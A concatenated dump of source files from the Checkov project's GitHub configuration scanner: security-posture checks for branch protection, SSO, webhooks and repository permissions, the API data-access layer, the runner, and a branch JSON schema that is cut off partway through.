================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult from checkov.github.base_github_org_check import BaseOrganizationCheck class GithubPrivateRepositoryCreationIsLimited(BaseOrganizationCheck): def __init__(self) -> None: name = "Ensure private repository creation is limited to specific members" id = "CKV_GITHUB_22" super().__init__(id=id, name=name, missing_attribute_result=CheckResult.FAILED) def get_evaluated_keys(self) -> list[str]: return ["members_can_create_private_repositories"] def get_allowed_values(self) -> list[Any]: return [False] check = GithubPrivateRepositoryCreationIsLimited() ================================================ FILE: checkov/github/checks/public_repository_creation_is_limited.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult from checkov.github.base_github_org_check import BaseOrganizationCheck class GithubPublicRepositoryCreationIsLimited(BaseOrganizationCheck): def __init__(self) -> None: name = "Ensure public repository creation is limited to specific members" id = "CKV_GITHUB_21" super().__init__(id=id, name=name, missing_attribute_result=CheckResult.FAILED) def get_evaluated_keys(self) -> list[str]: return ["members_can_create_public_repositories"] def get_allowed_values(self) -> list[Any]: return [False] check = GithubPublicRepositoryCreationIsLimited() ================================================ FILE: checkov/github/checks/repository_collaborators.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.github.base_github_configuration_check import BaseGithubCheck from checkov.github.schemas.repository_collaborators import schema as repository_collaborators_schema from checkov.json_doc.enums import BlockType class GithubRepositoryCollaborators(BaseGithubCheck): def __init__(self) -> None: name = "Ensure 2 admins are set for each repository" id = "CKV_GITHUB_9" categories = [CheckCategories.SUPPLY_CHAIN] super().__init__( id=id, name=name, categories=categories, supported_entities=["*"], block_type=BlockType.DOCUMENT ) def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult: ckv_metadata, conf = self.resolve_ckv_metadata_conf(conf=conf) if 'repository_collaborators' in ckv_metadata.get('file_name', ''): if conf and repository_collaborators_schema.validate(conf): admin_collaborators = 0 for item in conf: if isinstance(item, dict): permissions = item.get("permissions", {}) admin = permissions.get('admin', False) if admin: admin_collaborators += 1 if admin_collaborators >= 2: return CheckResult.PASSED else: return CheckResult.FAILED return CheckResult.UNKNOWN check = GithubRepositoryCollaborators() ================================================ FILE: checkov/github/checks/require_2approvals.py ================================================ from __future__ import annotations from checkov.common.models.enums import CheckResult from checkov.github.base_github_negative_branch_security import NegativeBranchSecurity class GithubRequire2Approvals(NegativeBranchSecurity): def __init__(self) -> None: name = "Ensure any change to code receives approval of two strongly authenticated users" id = "CKV_GITHUB_19" super().__init__(name=name, id=id, missing_attribute_result=CheckResult.FAILED) def get_evaluated_keys(self) -> list[str]: return ["required_pull_request_reviews/required_approving_review_count"] def get_forbidden_values(self) -> list[int | None]: return [None, 0, 1] check = GithubRequire2Approvals() ================================================ FILE: checkov/github/checks/require_code_owner_reviews.py ================================================ from __future__ import annotations from checkov.github.base_github_branch_security import BranchSecurity class GithubBranchRequireCodeOwnerReviews(BranchSecurity): def __init__(self) -> None: name = "Ensure GitHub branch protection requires CODEOWNER reviews" id = "CKV_GITHUB_13" super().__init__(name=name, id=id) def get_evaluated_keys(self) -> list[str]: return ["required_pull_request_reviews/require_code_owner_reviews"] check = GithubBranchRequireCodeOwnerReviews() ================================================ FILE: checkov/github/checks/require_conversation_resolution.py ================================================ from __future__ import annotations from checkov.github.base_github_branch_security import BranchSecurity class GithubBranchRequireConversationResolution(BranchSecurity): def __init__(self) -> None: name = "Ensure GitHub branch protection requires conversation resolution" id = "CKV_GITHUB_16" super().__init__(name=name, id=id) def get_evaluated_keys(self) -> list[str]: return ["required_conversation_resolution/enabled"] check = GithubBranchRequireConversationResolution() ================================================ FILE: checkov/github/checks/require_linear_history.py ================================================ from __future__ import annotations from checkov.github.base_github_branch_security import BranchSecurity class GithubBranchLinearHistory(BranchSecurity): def __init__(self) -> None: name = "Ensure GitHub branch protection rules requires linear history" id = "CKV_GITHUB_8" super().__init__( name=name, id=id ) def get_evaluated_keys(self) -> list[str]: return ['required_linear_history/enabled'] check = GithubBranchLinearHistory() ================================================ FILE: checkov/github/checks/require_push_restrictions.py ================================================ from __future__ import annotations from checkov.github.base_github_branch_security import BranchSecurity class GithubBranchRequirePushRestrictions(BranchSecurity): def __init__(self) -> None: name = "Ensure GitHub branch protection requires push restrictions" id = "CKV_GITHUB_17" super().__init__(name=name, id=id) def get_evaluated_keys(self) -> list[str]: return ["restrictions"] check = GithubBranchRequirePushRestrictions() ================================================ FILE: checkov/github/checks/require_signatures.py ================================================ from __future__ import annotations from checkov.github.base_github_branch_security import BranchSecurity class GithubBranchCommitSignature(BranchSecurity): def __init__(self) -> None: name = "Ensure GitHub branch protection rules requires signed commits" id = "CKV_GITHUB_4" super().__init__( name=name, id=id ) def get_evaluated_keys(self) -> list[str]: return ['required_signatures/enabled'] check = GithubBranchCommitSignature() ================================================ FILE: checkov/github/checks/require_status_checks_pr.py ================================================ from __future__ import annotations from checkov.github.base_github_branch_security import BranchSecurity class GithubBranchRequireStatusChecks(BranchSecurity): def __init__(self) -> None: name = "Ensure all checks have passed before the merge of new code" id = "CKV_GITHUB_14" super().__init__(name=name, id=id) def get_evaluated_keys(self) -> list[str]: return ["required_status_checks"] check = GithubBranchRequireStatusChecks() ================================================ FILE: checkov/github/checks/require_strict_base_permissions_repository.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult from checkov.github.base_github_org_check import BaseOrganizationCheck class GithubRequireStrictBasePermissionsRepository(BaseOrganizationCheck): def __init__(self) -> None: # https://docs.github.com/en/organizations/managing-user-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization name = "Ensure strict base permissions are set for repositories" id = "CKV_GITHUB_27" super().__init__(id=id, name=name, missing_attribute_result=CheckResult.FAILED) def get_evaluated_keys(self) -> list[str]: return ["default_repository_permission"] def get_allowed_values(self) -> list[Any]: return ['read', None] check = GithubRequireStrictBasePermissionsRepository() ================================================ FILE: checkov/github/checks/require_updated_branch_pr.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult from checkov.github.base_github_negative_branch_security import NegativeBranchSecurity class GithubRequireUpdatedBranch(NegativeBranchSecurity): def __init__(self) -> None: name = "Ensure open git branches are up to date before they can be merged into codebase" id = "CKV_GITHUB_20" super().__init__(name=name, id=id, missing_attribute_result=CheckResult.FAILED) def get_evaluated_keys(self) -> list[str]: return ["required_status_checks/strict"] def get_forbidden_values(self) -> list[Any]: return [False] check = GithubRequireUpdatedBranch() ================================================ FILE: checkov/github/checks/require_verified_organization.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult from checkov.github.base_github_org_check import BaseOrganizationCheck class GithubRequireOrganizationIsVerified(BaseOrganizationCheck): def __init__(self) -> None: name = "Ensure an organization's identity is confirmed with a Verified badge Passed" id = "CKV_GITHUB_28" super().__init__(id=id, name=name, missing_attribute_result=CheckResult.FAILED) def get_evaluated_keys(self) -> list[str]: return ["is_verified"] def get_allowed_values(self) -> list[Any]: return [True] check = GithubRequireOrganizationIsVerified() ================================================ FILE: checkov/github/checks/restrict_pr_review_dismissal.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.consts import ANY_VALUE from checkov.github.base_github_negative_branch_security import NegativeBranchSecurity class GithubBranchDismissalRestrictions(NegativeBranchSecurity): def __init__(self) -> None: name = "Ensure GitHub branch protection restricts who can dismiss PR reviews" id = "CKV_GITHUB_12" super().__init__(name=name, id=id) def get_evaluated_keys(self) -> list[str]: return ["required_pull_request_reviews/dismissal_restrictions"] def get_forbidden_values(self) -> list[Any]: return [ANY_VALUE] check = GithubBranchDismissalRestrictions() ================================================ FILE: checkov/github/checks/sso.py ================================================ from __future__ import annotations from typing import Any from bc_jsonpath_ng import parse from checkov.common.models.enums import CheckResult, CheckCategories from checkov.github.base_github_configuration_check import BaseGithubCheck from checkov.github.schemas.org_security import schema as org_security_schema from checkov.json_doc.enums import BlockType class GithubSSO(BaseGithubCheck): def __init__(self) -> None: name = "Ensure GitHub organization security settings require SSO" id = "CKV_GITHUB_2" categories = (CheckCategories.SUPPLY_CHAIN, ) super().__init__( id=id, name=name, categories=categories, supported_entities=["*"], block_type=BlockType.DOCUMENT ) def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult: if org_security_schema.validate(conf): jsonpath_expression = parse("$..{}".format(self.get_evaluated_keys()[0].replace("/", "."))) if len(jsonpath_expression.find(conf)) > 0: return CheckResult.PASSED else: return CheckResult.FAILED return CheckResult.UNKNOWN def get_evaluated_keys(self) -> list[str]: return ['data/organization/samlIdentityProvider/ssoUrl'] check = GithubSSO() ================================================ FILE: checkov/github/checks/webhooks_https_orgs.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.github.base_github_configuration_check import BaseGithubCheck, HTTP from checkov.github.schemas.org_webhooks import schema as org_webhooks_schema from checkov.json_doc.enums import BlockType class WebhookHttpsOrg(BaseGithubCheck): def __init__(self) -> None: name = "Ensure GitHub organization webhooks are using HTTPS" id = "CKV_GITHUB_6" categories = [CheckCategories.SUPPLY_CHAIN] super().__init__( id=id, name=name, categories=categories, supported_entities=["*"], block_type=BlockType.DOCUMENT ) def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]] | None: # type:ignore[override] ckv_metadata, conf = self.resolve_ckv_metadata_conf(conf=conf) if 'org_webhooks' in ckv_metadata.get('file_name', ''): if org_webhooks_schema.validate(conf): for item in conf: if isinstance(item, dict): item_config = item.get("config", {}) if not item_config: continue url = item_config.get('url', '') insecure_ssl = item_config.get('insecure_ssl', '0') secret = item_config.get('secret', '') if url.startswith(HTTP): return CheckResult.FAILED, item_config if insecure_ssl != '0' and secret != '********': # nosec return CheckResult.FAILED, item_config return CheckResult.PASSED, conf return CheckResult.UNKNOWN, conf check = WebhookHttpsOrg() ================================================ FILE: checkov/github/checks/webhooks_https_repos.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.github.base_github_configuration_check import BaseGithubCheck, HTTP from checkov.github.schemas.repository_webhooks import schema as repository_webhooks_schema from checkov.json_doc.enums import BlockType class WebhookHttpsRepo(BaseGithubCheck): def __init__(self) -> None: name = "Ensure GitHub repository webhooks are using HTTPS" id = "CKV_GITHUB_7" categories = [CheckCategories.SUPPLY_CHAIN] super().__init__( id=id, name=name, categories=categories, supported_entities=["*"], block_type=BlockType.DOCUMENT ) def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]] | None: # type:ignore[override] ckv_metadata, conf = self.resolve_ckv_metadata_conf(conf=conf) if 'repository_webhooks' in ckv_metadata.get('file_name', ''): if repository_webhooks_schema.validate(conf): for item in conf: if isinstance(item, dict): item_config = item.get("config", {}) if not item_config: continue url = item_config.get('url', '') insecure_ssl = item_config.get('insecure_ssl', '0') if url.startswith(HTTP): return CheckResult.FAILED, item_config if insecure_ssl != '0': return CheckResult.FAILED, item_config return CheckResult.PASSED, conf return CheckResult.UNKNOWN, conf check = WebhookHttpsRepo() ================================================ FILE: checkov/github/dal.py ================================================ from __future__ import annotations import os import shutil from typing import Any from pathlib import Path from checkov.common.runners.base_runner import strtobool from checkov.common.vcs.base_vcs_dal import BaseVCSDAL from checkov.github.schemas.org_security import schema as org_security_schema CKV_METADATA = 'CKV_METADATA' class Github(BaseVCSDAL): github_conf_dir_path: str # noqa: CCE003 # a static attribute github_conf_file_paths: dict[str, list[Path]] # noqa: CCE003 # a static attribute def __init__(self) -> None: super().__init__() def setup_conf_dir(self) -> None: github_conf_dir_name = os.getenv('CKV_GITHUB_CONF_DIR_NAME', 'github_conf') self.github_conf_dir_path = os.path.join(os.getcwd(), github_conf_dir_name) os.environ["CKV_GITHUB_CONF_DIR_PATH"] = self.github_conf_dir_path # if any file was left from previous run-remove it. if os.path.isdir(self.github_conf_dir_path): shutil.rmtree(self.github_conf_dir_path) self.github_conf_file_paths = { "org_security": [Path(self.github_conf_dir_path) / "org_security.json"], "branch_protection_rules": [Path(self.github_conf_dir_path) / "branch_protection_rules.json"], "org_webhooks": [], # is updated when persisted "repository_webhooks": [], # is updated when persisted "repository_collaborators": [Path(self.github_conf_dir_path) / "repository_collaborators.json"], "branch_metadata": [Path(self.github_conf_dir_path) / "branch_metadata.json"], "org_metadata": [Path(self.github_conf_dir_path) / "org_metadata.json"], "org_admins": [Path(self.github_conf_dir_path) / "org_admins.json"], } def discover(self) -> None: self.api_url = os.getenv('GITHUB_API_URL', "https://api.github.com") self.graphql_api_url = f"{self.api_url}/graphql" self.token = os.getenv('GITHUB_TOKEN', '') self.repo_owner = os.getenv('GITHUB_REPO_OWNER', '') self.current_repository = os.getenv('GITHUB_REPOSITORY', '') self.current_branch = os.getenv('GITHUB_REF_NAME', '') if not self.current_branch: self.current_branch = os.getenv('GITHUB_REF', 'refs/heads/master') if self.current_branch: extracted_branch_array = self.current_branch.split("/") if len(extracted_branch_array) == 3: self.current_branch = extracted_branch_array[2] self.default_branch_cache = {} self.org = os.getenv('GITHUB_ORG', '') def _headers(self) -> dict[str, str]: return {"Accept": "application/vnd.github.v3+json", "Authorization": "token {}".format(self.token)} # -------------------------------- Endpoints -------------------------------- # def get_branch_protection_rules(self) -> dict[str, Any] | None: if self.current_branch and self.current_repository: data = self._request( endpoint=f"repos/{self.repo_owner}/{self.current_repository}/branches/{self.current_branch}/protection", allowed_status_codes=[200, 404]) return data return None def get_organization_webhooks(self) -> list[dict[str, Any]] | None: data = self._request(endpoint=f"orgs/{self.org}/hooks", allowed_status_codes=[200]) if isinstance(data, list): return data return None def get_repository_collaborators(self) -> dict[str, Any] | None: data = self._request( endpoint=f"repos/{self.repo_owner}/{self.current_repository}/collaborators", allowed_status_codes=[200] ) return data def get_repository_webhooks(self) -> list[dict[str, Any]] | None: data = self._request( endpoint=f"repos/{self.repo_owner}/{self.current_repository}/hooks", allowed_status_codes=[200]) if isinstance(data, list): return data return None def get_organization_security(self) -> dict[str, str] | None: if not self._organization_security: data = self._request_graphql(query=""" query ($org: String! ) { organization(login: $org) { name login description ipAllowListEnabledSetting ipAllowListForInstalledAppsEnabledSetting requiresTwoFactorAuthentication samlIdentityProvider { ssoUrl } } } """, variables={'org': self.org}) if not data: return None if org_security_schema.validate(data): self._organization_security = data return self._organization_security def get_default_branch(self) -> None: # still not used - for future implementations default_branch = self.repo_complementary_metadata.get("default_branch") if not default_branch: data = self._request_graphql(query=""" query ($owner: String!, $name: String!){ repository(owner: $owner, name: $name) { defaultBranchRef { name } } } """, variables={'owner': self.repo_owner, 'name': self.current_repository}) if not data: return None if org_security_schema.validate(data): self.repo_complementary_metadata["default_branch"] = \ data.get('data', {}).get('repository', {}).get('defaultBranchRef', {}).get('name') def get_branch_metadata(self) -> dict[str, Any] | None: # new endpoint since Dec22 data = self._request( endpoint=f"repos/{self.repo_owner}/{self.current_repository}/branches/{self.current_branch}", allowed_status_codes=[200] ) return data def get_organization_metadata(self) -> dict[str, Any] | None: # new endpoint since Dec22 data = self._request(endpoint=f"orgs/{self.org}", allowed_status_codes=[200]) return data def get_organization_admins(self) -> dict[str, Any] | None: # new endpoint since Dec22 data = self._request(endpoint=f"orgs/{self.org}/members?role=admin", allowed_status_codes=[200]) return data def get_repository_metadata(self) -> dict[str, Any] | None: # still not used - for future implementations data = self._request( endpoint=f"repos/{self.repo_owner}/{self.current_repository}", allowed_status_codes=[200] ) return data # --------------------------------------------------------------------------- # def persist_branch_protection_rules(self) -> None: data = self.get_branch_protection_rules() if data: BaseVCSDAL.persist(path=self.github_conf_file_paths["branch_protection_rules"][0], conf=data) def persist_organization_security(self) -> None: organization_security = self.get_organization_security() if organization_security: BaseVCSDAL.persist(path=self.github_conf_file_paths["org_security"][0], conf=organization_security) def persist_organization_webhooks(self) -> None: organization_webhooks = self.get_organization_webhooks() if organization_webhooks: for idx, item in enumerate(organization_webhooks): path = Path(self.github_conf_dir_path) / f"org_webhooks{idx+1}.json" self.github_conf_file_paths["org_webhooks"].append(path) BaseVCSDAL.persist(path=path, conf=[item]) def persist_repository_collaborators(self) -> None: repository_collaborators = self.get_repository_collaborators() if repository_collaborators: BaseVCSDAL.persist( path=self.github_conf_file_paths["repository_collaborators"][0], conf=repository_collaborators) def persist_repository_webhooks(self) -> None: repository_webhooks = self.get_repository_webhooks() if repository_webhooks: for idx, item in enumerate(repository_webhooks): path = Path(self.github_conf_dir_path) / f"repository_webhooks{idx + 1}.json" self.github_conf_file_paths["repository_webhooks"].append(path) BaseVCSDAL.persist(path=path, conf=[item]) def persist_branch_metadata(self) -> None: branch_metadata = self.get_branch_metadata() if branch_metadata: BaseVCSDAL.persist(path=self.github_conf_file_paths["branch_metadata"][0], conf=branch_metadata) def persist_organization_metadata(self) -> None: org_metadata = self.get_organization_metadata() if org_metadata: BaseVCSDAL.persist(path=self.github_conf_file_paths["org_metadata"][0], conf=org_metadata) def persist_repository_metadata(self) -> None: # still not used - for future implementations repository_metadata = self.get_repository_metadata() if repository_metadata: BaseVCSDAL.persist( path=self.github_conf_file_paths["repository_metadata"][0], conf=repository_metadata ) self.org_complementary_metadata["is_private_repo"] = repository_metadata.get('private') def persist_organization_admins(self) -> None: org_members = self.get_organization_admins() if org_members: BaseVCSDAL.persist(path=self.github_conf_file_paths["org_admins"][0], conf=org_members) def persist_all_confs(self) -> None: if strtobool(os.getenv("CKV_GITHUB_CONFIG_FETCH_DATA", "True")): self.persist_organization_security() self.persist_branch_protection_rules() self.persist_organization_webhooks() self.persist_repository_webhooks() self.persist_repository_collaborators() self.persist_branch_metadata() self.persist_organization_metadata() self.persist_organization_admins() ================================================ FILE: checkov/github/registry.py ================================================ from checkov.common.bridgecrew.check_type import CheckType from checkov.json_doc.base_registry import Registry registry = Registry(CheckType.GITHUB_CONFIGURATION) ================================================ FILE: checkov/github/runner.py ================================================ from __future__ import annotations from pathlib import Path from typing import TYPE_CHECKING, Callable from checkov.common.bridgecrew.check_type import CheckType from checkov.github.dal import Github, CKV_METADATA from checkov.json_doc.runner import Runner as JsonRunner from checkov.runner_filter import RunnerFilter if TYPE_CHECKING: from checkov.common.checks.base_check_registry import BaseCheckRegistry from checkov.common.output.report import Report class Runner(JsonRunner): check_type = CheckType.GITHUB_CONFIGURATION # noqa: CCE003 # a static attribute def __init__(self) -> None: self.github = Github() super().__init__() def run( self, root_folder: str | None = None, external_checks_dir: list[str] | None = None, files: list[str] | None = None, runner_filter: RunnerFilter | None = None, collect_skip_comments: bool = True ) -> Report | list[Report]: runner_filter = runner_filter or RunnerFilter() if not runner_filter.show_progress_bar: self.pbar.turn_off_progress_bar() self.prepare_data() report = super().run( root_folder=self.github.github_conf_dir_path, external_checks_dir=external_checks_dir, files=None, # ignore file scans runner_filter=runner_filter, collect_skip_comments=collect_skip_comments, ) JsonRunner._change_files_path_to_relative(report) # type:ignore[arg-type] # report can only be of type Report, not a list return report def prepare_data(self) -> None: self.github.persist_all_confs() def require_external_checks(self) -> bool: # default json runner require only external checks. Github runner brings build in checks return False def import_registry(self) -> BaseCheckRegistry: from checkov.github.registry import registry return registry def _load_files( self, files_to_load: list[str], filename_fn: Callable[[str], str] | None = None, ) -> None: super(Runner, self)._load_files(files_to_load=files_to_load, filename_fn=filename_fn) for file_path, definition in self.definitions.items(): file_name = Path(file_path).stem ckv_metadata = { 'file_name': file_name, 'org_complementary_metadata': self.github.org_complementary_metadata, 'repo_complementary_metadata': self.github.repo_complementary_metadata, } if isinstance(definition, dict): definition[CKV_METADATA] = ckv_metadata elif isinstance(definition, list): definition.append(ckv_metadata) ================================================ FILE: checkov/github/schemas/__init__.py ================================================ ================================================ FILE: checkov/github/schemas/branch.py ================================================ from checkov.common.vcs.vcs_schema import VCSSchema class BranchSchema(VCSSchema): def __init__(self) -> None: schema = { "title": "Branch With Protection", "description": "Branch With Protection", "type": "object", "properties": { "name": { "type": "string" }, "commit": { "title": "Commit", "description": "Commit", "type": "object", "properties": { "url": { "type": "string", "format": "uri" }, "sha": { "type": "string" }, "node_id": { "type": "string" }, "html_url": { "type": "string", "format": "uri" }, "comments_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/repos/octocat/Hello-World/commits/6dcb09b5b57875f334f61aebed695e2e4193db5e/comments" ] }, "commit": { "type": "object", "properties": { "url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/repos/octocat/Hello-World/commits/6dcb09b5b57875f334f61aebed695e2e4193db5e" ] }, "author": { "anyOf": [ { "type": "null" }, { "title": "Git User", "description": "Metaproperties for Git author/committer information.", "type": "object", "properties": { "name": { "type": "string", "examples": [ "\"Chris Wanstrath\"" ] }, "email": { "type": "string", "examples": [ "\"chris@ozmm.org\"" ] }, "date": { "type": "string", "examples": [ "\"2007-10-29T02:42:39.000-07:00\"" ] } } } ] }, "committer": { "anyOf": [ { "type": "null" }, { "title": "Git User", "description": "Metaproperties for Git author/committer information.", "type": "object", "properties": { "name": { "type": "string", "examples": [ "\"Chris Wanstrath\"" ] }, "email": { "type": "string", "examples": [ "\"chris@ozmm.org\"" ] }, "date": { "type": "string", "examples": [ "\"2007-10-29T02:42:39.000-07:00\"" ] } } } ] }, "message": { "type": "string", "examples": [ "Fix all the bugs" ] }, "comment_count": { "type": "integer", "examples": [ 0 ] }, "tree": { "type": "object", "properties": { "sha": { "type": "string", "examples": [ "827efc6d56897b048c772eb4087f854f46256132" ] }, "url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/repos/octocat/Hello-World/tree/827efc6d56897b048c772eb4087f854f46256132" ] } }, "required": [ "sha", "url" ] }, "verification": { "title": "Verification", "type": "object", "properties": { "verified": { "type": "boolean" }, "reason": { "type": "string" }, "payload": { "type": [ "string", "null" ] }, "signature": { "type": [ "string", "null" ] } }, "required": [ "verified", "reason", "payload", "signature" ] } }, "required": [ "author", "committer", "comment_count", "message", "tree", "url" ] }, "author": { "anyOf": [ { "type": "null" }, { "title": "Simple User", "description": "A GitHub user.", "type": "object", "properties": { "name": { "type": [ "string", "null" ] }, "email": { "type": [ "string", "null" ] }, "login": { "type": "string", "examples": [ "octocat" ] }, "id": { "type": "integer", "examples": [ 1 ] }, "node_id": { "type": "string", "examples": [ "MDQ6VXNlcjE=" ] }, "avatar_url": { "type": "string", "format": "uri", "examples": [ "https://github.com/images/error/octocat_happy.gif" ] }, "gravatar_id": { "type": [ "string", "null" ], "examples": [ "41d064eb2195891e12d0413f63227ea7" ] }, "url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat" ] }, "html_url": { "type": "string", "format": "uri", "examples": [ "https://github.com/octocat" ] }, "followers_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/followers" ] }, "following_url": { "type": "string", "examples": [ "https://api.github.com/users/octocat/following{/other_user}" ] }, "gists_url": { "type": "string", "examples": [ "https://api.github.com/users/octocat/gists{/gist_id}" ] }, "starred_url": { "type": "string", "examples": [ "https://api.github.com/users/octocat/starred{/owner}{/repo}" ] }, "subscriptions_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/subscriptions" ] }, "organizations_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/orgs" ] }, "repos_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/repos" ] }, "events_url": { "type": "string", "examples": [ "https://api.github.com/users/octocat/events{/privacy}" ] }, "received_events_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/received_events" ] }, "type": { "type": "string", "examples": [ "User" ] }, "site_admin": { "type": "boolean" }, "starred_at": { "type": "string", "examples": [ "\"2020-07-09T00:17:55Z\"" ] } }, "required": [ "avatar_url", "events_url", "followers_url", "following_url", "gists_url", "gravatar_id", "html_url", "id", "node_id", "login", "organizations_url", "received_events_url", "repos_url", "site_admin", "starred_url", "subscriptions_url", "type", "url" ] } ] }, "committer": { "anyOf": [ { "type": "null" }, { "title": "Simple User", "description": "A GitHub user.", "type": "object", "properties": { "name": { "type": [ "string", "null" ] }, "email": { "type": [ "string", "null" ] }, "login": { "type": "string", "examples": [ "octocat" ] }, "id": { "type": "integer", "examples": [ 1 ] }, "node_id": { "type": "string", "examples": [ "MDQ6VXNlcjE=" ] }, "avatar_url": { "type": "string", "format": "uri", "examples": [ "https://github.com/images/error/octocat_happy.gif" ] }, "gravatar_id": { "type": [ "string", "null" ], "examples": [ "41d064eb2195891e12d0413f63227ea7" ] }, "url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat" ] }, "html_url": { "type": "string", "format": "uri", "examples": [ "https://github.com/octocat" ] }, "followers_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/followers" ] }, "following_url": { "type": "string", "examples": [ "https://api.github.com/users/octocat/following{/other_user}" ] }, "gists_url": { "type": "string", "examples": [ "https://api.github.com/users/octocat/gists{/gist_id}" ] }, "starred_url": { "type": "string", "examples": [ "https://api.github.com/users/octocat/starred{/owner}{/repo}" ] }, "subscriptions_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/subscriptions" ] }, "organizations_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/orgs" ] }, "repos_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/repos" ] }, "events_url": { "type": "string", "examples": [ "https://api.github.com/users/octocat/events{/privacy}" ] }, "received_events_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/received_events" ] }, "type": { "type": "string", "examples": [ "User" ] }, "site_admin": { "type": "boolean" }, "starred_at": { "type": "string", "examples": [ "\"2020-07-09T00:17:55Z\"" ] } }, "required": [ "avatar_url", "events_url", "followers_url", "following_url", "gists_url", "gravatar_id", "html_url", "id", "node_id", "login", "organizations_url", "received_events_url", "repos_url", "site_admin", "starred_url", "subscriptions_url", "type", "url" ] } ] }, "parents": { "type": "array", "items": { "type": "object", "properties": { "sha": { "type": "string", "examples": [ "7638417db6d59f3c431d3e1f261cc637155684cd" ] }, "url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/repos/octocat/Hello-World/commits/7638417db6d59f3c431d3e1f261cc637155684cd" ] }, "html_url": { "type": "string", "format": "uri", "examples": [ "https://github.com/octocat/Hello-World/commit/7638417db6d59f3c431d3e1f261cc637155684cd" ] } }, "required": [ "sha", "url" ] } }, "stats": { "type": "object", "properties": { "additions": { "type": "integer" }, "deletions": { "type": "integer" }, "total": { "type": "integer" } } }, "files": { "type": "array", "items": { "title": "Diff Entry", "description": "Diff Entry", "type": "object", "properties": { "sha": { "type": "string", "examples": [ "bbcd538c8e72b8c175046e27cc8f907076331401" ] }, "filename": { "type": "string", "examples": [ "file1.txt" ] }, "status": { "type": "string", "enum": [ "added", "removed", "modified", "renamed", "copied", "changed", "unchanged" ], "examples": [ "added" ] }, "additions": { "type": "integer", "examples": [ 103 ] }, "deletions": { "type": "integer", "examples": [ 21 ] }, "changes": { "type": "integer", "examples": [ 124 ] }, "blob_url": { "type": "string", "format": "uri", "examples": [ "https://github.com/octocat/Hello-World/blob/6dcb09b5b57875f334f61aebed695e2e4193db5e/file1.txt" ] }, "raw_url": { "type": "string", "format": "uri", "examples": [ "https://github.com/octocat/Hello-World/raw/6dcb09b5b57875f334f61aebed695e2e4193db5e/file1.txt" ] }, "contents_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/repos/octocat/Hello-World/contents/file1.txt?ref=6dcb09b5b57875f334f61aebed695e2e4193db5e" ] }, "patch": { "type": "string", "examples": [ "@@ -132,7 +132,7 @@ module Test @@ -1000,7 +1000,7 @@ module Test" ] }, "previous_filename": { "type": "string", "examples": [ "file.txt" ] } }, "required": [ "additions", "blob_url", "changes", "contents_url", "deletions", "filename", "raw_url", "sha", "status" ] } } }, "required": [ "url", "sha", "node_id", "html_url", "comments_url", "commit", "author", "committer", "parents" ] }, "_links": { "type": "object", "properties": { "html": { "type": "string" }, "self": { "type": "string", "format": "uri" } }, "required": [ "html", "self" ] }, "protected": { "type": "boolean" }, "protection": { "title": "Branch Protection", "description": "Branch Protection", "type": "object", "properties": { "url": { "type": "string" }, "enabled": { "type": "boolean" }, "required_status_checks": { "title": "Protected Branch Required Status Check", "description": "Protected Branch Required Status Check", "type": "object", "properties": { "url": { "type": "string" }, "enforcement_level": { "type": "string" }, "contexts": { "type": "array", "items": { "type": "string" } }, "checks": { "type": "array", "items": { "type": "object", "properties": { "context": { "type": "string" }, "app_id": { "type": [ "integer", "null" ] } }, "required": [ "context", "app_id" ] } }, "contexts_url": { "type": "string" }, "strict": { "type": "boolean" } }, "required": [ "contexts", "checks" ] }, "enforce_admins": { "title": "Protected Branch Admin Enforced", "description": "Protected Branch Admin Enforced", "type": "object", "properties": { "url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/repos/octocat/Hello-World/branches/master/protection/enforce_admins" ] }, "enabled": { "type": "boolean", "examples": [ True ] } }, "required": [ "url", "enabled" ] }, "required_pull_request_reviews": { "title": "Protected Branch Pull Request Review", "description": "Protected Branch Pull Request Review", "type": "object", "properties": { "url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/repos/octocat/Hello-World/branches/master/protection/dismissal_restrictions" ] }, "dismissal_restrictions": { "type": "object", "properties": { "users": { "description": "The list of users with review dismissal access.", "type": "array", "items": { "title": "Simple User", "description": "A GitHub user.", "type": "object", "properties": { "name": { "type": [ "string", "null" ] }, "email": { "type": [ "string", "null" ] }, "login": { "type": "string", "examples": [ "octocat" ] }, "id": { "type": "integer", "examples": [ 1 ] }, "node_id": { "type": "string", "examples": [ "MDQ6VXNlcjE=" ] }, "avatar_url": { "type": "string", "format": "uri", "examples": [ "https://github.com/images/error/octocat_happy.gif" ] }, "gravatar_id": { "type": [ "string", "null" 